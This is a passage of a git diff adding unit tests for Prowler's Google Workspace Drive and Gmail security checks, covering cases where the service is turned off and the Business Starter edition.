+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_creation_allowed.drive_shared_drive_creation_allowed.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_creation_allowed.drive_shared_drive_creation_allowed import (
+ drive_shared_drive_creation_allowed,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED", allow_shared_drive_creation=False
+ )
+
+ findings = drive_shared_drive_creation_allowed().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Google Drive is turned off for everyone in domain {DOMAIN}, "
+ f"so no shared drive can be created."
+ )
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy_test.py b/tests/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy_test.py
index 4a7a926745..2833899fe7 100644
--- a/tests/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.drive.drive_service import DrivePolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -130,6 +131,125 @@ class TestDriveSharedDriveDisableDownloadPrintCopy:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_evaluates_the_setting_when_the_service_is_off_for_everyone(self):
+ """Existing shares stay reachable when Drive is off, so the stored setting still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_disable_download_print_copy.drive_shared_drive_disable_download_print_copy.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_disable_download_print_copy.drive_shared_drive_disable_download_print_copy import (
+ drive_shared_drive_disable_download_print_copy,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED", allowed_parties_for_download_print_copy="ALL"
+ )
+
+ findings = drive_shared_drive_disable_download_print_copy().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
+ def test_fail_on_business_starter_says_the_setting_cannot_be_changed(self):
+ """Google keeps every shared drive setting allowed on Business Starter; the finding names the edition"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.editions = ["Business Starter"]
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_disable_download_print_copy.drive_shared_drive_disable_download_print_copy.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_disable_download_print_copy.drive_shared_drive_disable_download_print_copy import (
+ drive_shared_drive_disable_download_print_copy,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = True
+ mock_drive_client.policies = DrivePolicies(
+ allowed_parties_for_download_print_copy="ALL"
+ )
+
+ findings = drive_shared_drive_disable_download_print_copy().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert findings[0].status_extended == (
+ f"Download, print, and copy in shared drives in domain {DOMAIN} is "
+ f"set to ALL. These actions should be restricted to editors or "
+ f"managers only. This may be expected because shared drive settings "
+ f"cannot be changed on the Google Workspace Business Starter edition, "
+ f"where new shared drives allow every sharing option."
+ )
+
+ def test_fail_on_a_supported_edition_gives_no_excuse(self):
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.editions = ["Business Starter", "Business Standard"]
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_disable_download_print_copy.drive_shared_drive_disable_download_print_copy.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_disable_download_print_copy.drive_shared_drive_disable_download_print_copy import (
+ drive_shared_drive_disable_download_print_copy,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = True
+ mock_drive_client.policies = DrivePolicies(
+ allowed_parties_for_download_print_copy="ALL"
+ )
+
+ findings = drive_shared_drive_disable_download_print_copy().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "This may be expected" not in findings[0].status_extended
+
+ def test_no_resources(self):
+ """No policies could be read, so there is nothing to report"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_disable_download_print_copy.drive_shared_drive_disable_download_print_copy.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_disable_download_print_copy.drive_shared_drive_disable_download_print_copy import (
+ drive_shared_drive_disable_download_print_copy,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = False
+ mock_drive_client.policies = DrivePolicies()
+
+ findings = drive_shared_drive_disable_download_print_copy().execute()
+
+ assert len(findings) == 0
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override_test.py b/tests/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override_test.py
index 99e4af7d16..c5a1381974 100644
--- a/tests/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.drive.drive_service import DrivePolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -100,6 +101,96 @@ class TestDriveSharedDriveManagersCannotOverride:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_evaluates_the_setting_when_the_service_is_off_for_everyone(self):
+ """Existing shares stay reachable when Drive is off, so the stored setting still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_managers_cannot_override.drive_shared_drive_managers_cannot_override.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_managers_cannot_override.drive_shared_drive_managers_cannot_override import (
+ drive_shared_drive_managers_cannot_override,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED", allow_managers_to_override_settings=True
+ )
+
+ findings = drive_shared_drive_managers_cannot_override().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
+ def test_fail_on_business_starter_says_the_setting_cannot_be_changed(self):
+ """Google keeps every shared drive setting allowed on Business Starter; the finding names the edition"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.editions = ["Business Starter"]
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_managers_cannot_override.drive_shared_drive_managers_cannot_override.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_managers_cannot_override.drive_shared_drive_managers_cannot_override import (
+ drive_shared_drive_managers_cannot_override,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = True
+ mock_drive_client.policies = DrivePolicies(
+ allow_managers_to_override_settings=True
+ )
+
+ findings = drive_shared_drive_managers_cannot_override().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert findings[0].status_extended == (
+ f"Shared drive managers in domain {DOMAIN} are allowed to override "
+ f"shared drive settings. Managers should not be allowed to override "
+ f"shared drive settings. This may be expected because shared drive "
+ f"settings cannot be changed on the Google Workspace Business Starter "
+ f"edition, where new shared drives allow every sharing option."
+ )
+
+ def test_no_resources(self):
+ """No policies could be read, so there is nothing to report"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_managers_cannot_override.drive_shared_drive_managers_cannot_override.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_managers_cannot_override.drive_shared_drive_managers_cannot_override import (
+ drive_shared_drive_managers_cannot_override,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = False
+ mock_drive_client.policies = DrivePolicies()
+
+ findings = drive_shared_drive_managers_cannot_override().execute()
+
+ assert len(findings) == 0
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access_test.py b/tests/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access_test.py
index b25fa33cf0..02a1f7d4dd 100644
--- a/tests/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.drive.drive_service import DrivePolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -94,6 +95,94 @@ class TestDriveSharedDriveMembersOnlyAccess:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_evaluates_the_setting_when_the_service_is_off_for_everyone(self):
+ """Existing shares stay reachable when Drive is off, so the stored setting still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_members_only_access.drive_shared_drive_members_only_access.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_members_only_access.drive_shared_drive_members_only_access import (
+ drive_shared_drive_members_only_access,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED", allow_non_member_access=True
+ )
+
+ findings = drive_shared_drive_members_only_access().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
+ def test_fail_on_business_starter_says_the_setting_cannot_be_changed(self):
+ """Google keeps every shared drive setting allowed on Business Starter; the finding names the edition"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.editions = ["Business Starter"]
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_members_only_access.drive_shared_drive_members_only_access.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_members_only_access.drive_shared_drive_members_only_access import (
+ drive_shared_drive_members_only_access,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = True
+ mock_drive_client.policies = DrivePolicies(allow_non_member_access=True)
+
+ findings = drive_shared_drive_members_only_access().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert findings[0].status_extended == (
+ f"Shared drive file access in domain {DOMAIN} allows non-members to "
+ f"be added to files. Shared drive file access should be restricted "
+ f"to members only. This may be expected because shared drive "
+ f"settings cannot be changed on the Google Workspace Business Starter "
+ f"edition, where new shared drives allow every sharing option."
+ )
+
+ def test_no_resources(self):
+ """No policies could be read, so there is nothing to report"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_shared_drive_members_only_access.drive_shared_drive_members_only_access.drive_client"
+ ) as mock_drive_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_shared_drive_members_only_access.drive_shared_drive_members_only_access import (
+ drive_shared_drive_members_only_access,
+ )
+
+ mock_drive_client.provider = mock_provider
+ mock_drive_client.policies_fetched = False
+ mock_drive_client.policies = DrivePolicies()
+
+ findings = drive_shared_drive_members_only_access().execute()
+
+ assert len(findings) == 0
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_sharing_allowlisted_domains/drive_sharing_allowlisted_domains_test.py b/tests/providers/googleworkspace/services/drive/drive_sharing_allowlisted_domains/drive_sharing_allowlisted_domains_test.py
index 337afdc9aa..7822eea7fb 100644
--- a/tests/providers/googleworkspace/services/drive/drive_sharing_allowlisted_domains/drive_sharing_allowlisted_domains_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_sharing_allowlisted_domains/drive_sharing_allowlisted_domains_test.py
@@ -126,6 +126,35 @@ class TestDriveSharingAllowlistedDomains:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_evaluates_the_setting_when_the_service_is_off_for_everyone(self):
+ """Existing shares stay reachable when Drive is off, so the stored setting still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_sharing_allowlisted_domains.drive_sharing_allowlisted_domains.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_sharing_allowlisted_domains.drive_sharing_allowlisted_domains import (
+ drive_sharing_allowlisted_domains,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED", external_sharing_mode="ALLOWED"
+ )
+
+ findings = drive_sharing_allowlisted_domains().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/drive/drive_warn_sharing_with_allowlisted_domains/drive_warn_sharing_with_allowlisted_domains_test.py b/tests/providers/googleworkspace/services/drive/drive_warn_sharing_with_allowlisted_domains/drive_warn_sharing_with_allowlisted_domains_test.py
index 1aadeb924b..471cc15fc9 100644
--- a/tests/providers/googleworkspace/services/drive/drive_warn_sharing_with_allowlisted_domains/drive_warn_sharing_with_allowlisted_domains_test.py
+++ b/tests/providers/googleworkspace/services/drive/drive_warn_sharing_with_allowlisted_domains/drive_warn_sharing_with_allowlisted_domains_test.py
@@ -100,6 +100,36 @@ class TestDriveWarnSharingWithAllowlistedDomains:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_evaluates_the_setting_when_the_service_is_off_for_everyone(self):
+ """Existing shares stay reachable when Drive is off, so the stored setting still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.drive.drive_warn_sharing_with_allowlisted_domains.drive_warn_sharing_with_allowlisted_domains.drive_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.drive.drive_warn_sharing_with_allowlisted_domains.drive_warn_sharing_with_allowlisted_domains import (
+ drive_warn_sharing_with_allowlisted_domains,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = DrivePolicies(
+ service_state="DISABLED",
+ warn_for_sharing_outside_allowlisted_domains=False,
+ )
+
+ findings = drive_warn_sharing_with_allowlisted_domains().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled_test.py
index a57bee1ff1..e15c727df2 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -127,6 +128,38 @@ class TestGmailAnomalousAttachmentProtectionEnabled:
assert findings[0].status == "FAIL"
assert "insecure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_anomalous_attachment_protection_enabled.gmail_anomalous_attachment_protection_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_anomalous_attachment_protection_enabled.gmail_anomalous_attachment_protection_enabled import (
+ gmail_anomalous_attachment_protection_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", enable_anomalous_attachment_protection=False
+ )
+
+ findings = gmail_anomalous_attachment_protection_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled_test.py
index 2de8a79b9b..e9f06afe0c 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -96,6 +97,38 @@ class TestGmailAutoForwardingDisabled:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_auto_forwarding_disabled.gmail_auto_forwarding_disabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_auto_forwarding_disabled.gmail_auto_forwarding_disabled import (
+ gmail_auto_forwarding_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", enable_auto_forwarding=True
+ )
+
+ findings = gmail_auto_forwarding_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no email can be forwarded."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled_test.py
index 1dde307b71..132c3bbd24 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -97,6 +98,38 @@ class TestGmailComprehensiveMailStorageEnabled:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_comprehensive_mail_storage_enabled.gmail_comprehensive_mail_storage_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_comprehensive_mail_storage_enabled.gmail_comprehensive_mail_storage_enabled import (
+ gmail_comprehensive_mail_storage_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", comprehensive_mail_storage_enabled=False
+ )
+
+ findings = gmail_comprehensive_mail_storage_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so there is no Gmail mail to store."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled_test.py
index a87979ee5c..8d8fae0f82 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -28,7 +29,7 @@ class TestGmailDomainSpoofingProtectionEnabled:
mock_client.policies_fetched = True
mock_client.policies = GmailPolicies(
detect_domain_name_spoofing=True,
- domain_spoofing_consequence="SPAM_FOLDER",
+ domain_name_spoofing_consequence="SPAM_FOLDER",
)
check = gmail_domain_spoofing_protection_enabled()
@@ -59,7 +60,7 @@ class TestGmailDomainSpoofingProtectionEnabled:
mock_client.provider = mock_provider
mock_client.policies_fetched = True
mock_client.policies = GmailPolicies(
- domain_spoofing_consequence="SPAM_FOLDER",
+ domain_name_spoofing_consequence="SPAM_FOLDER",
)
check = gmail_domain_spoofing_protection_enabled()
@@ -92,7 +93,7 @@ class TestGmailDomainSpoofingProtectionEnabled:
mock_client.policies_fetched = True
mock_client.policies = GmailPolicies(
detect_domain_name_spoofing=True,
- domain_spoofing_consequence="NO_ACTION",
+ domain_name_spoofing_consequence="NO_ACTION",
)
check = gmail_domain_spoofing_protection_enabled()
@@ -122,7 +123,7 @@ class TestGmailDomainSpoofingProtectionEnabled:
mock_client.policies_fetched = True
mock_client.policies = GmailPolicies(
detect_domain_name_spoofing=True,
- domain_spoofing_consequence="WARNING",
+ domain_name_spoofing_consequence="WARNING",
)
check = gmail_domain_spoofing_protection_enabled()
@@ -152,7 +153,7 @@ class TestGmailDomainSpoofingProtectionEnabled:
mock_client.policies_fetched = True
mock_client.policies = GmailPolicies(
detect_domain_name_spoofing=False,
- domain_spoofing_consequence="WARNING",
+ domain_name_spoofing_consequence="WARNING",
)
check = gmail_domain_spoofing_protection_enabled()
@@ -189,6 +190,38 @@ class TestGmailDomainSpoofingProtectionEnabled:
assert findings[0].status == "FAIL"
assert "default action" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_domain_spoofing_protection_enabled.gmail_domain_spoofing_protection_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_domain_spoofing_protection_enabled.gmail_domain_spoofing_protection_enabled import (
+ gmail_domain_spoofing_protection_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", detect_domain_name_spoofing=False
+ )
+
+ findings = gmail_domain_spoofing_protection_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled_test.py
index c4ba415ba7..36f9b770c8 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -157,6 +158,38 @@ class TestGmailEmployeeNameSpoofingProtectionEnabled:
assert findings[0].status == "FAIL"
assert "default action" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_employee_name_spoofing_protection_enabled.gmail_employee_name_spoofing_protection_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_employee_name_spoofing_protection_enabled.gmail_employee_name_spoofing_protection_enabled import (
+ gmail_employee_name_spoofing_protection_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", detect_employee_name_spoofing=False
+ )
+
+ findings = gmail_employee_name_spoofing_protection_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
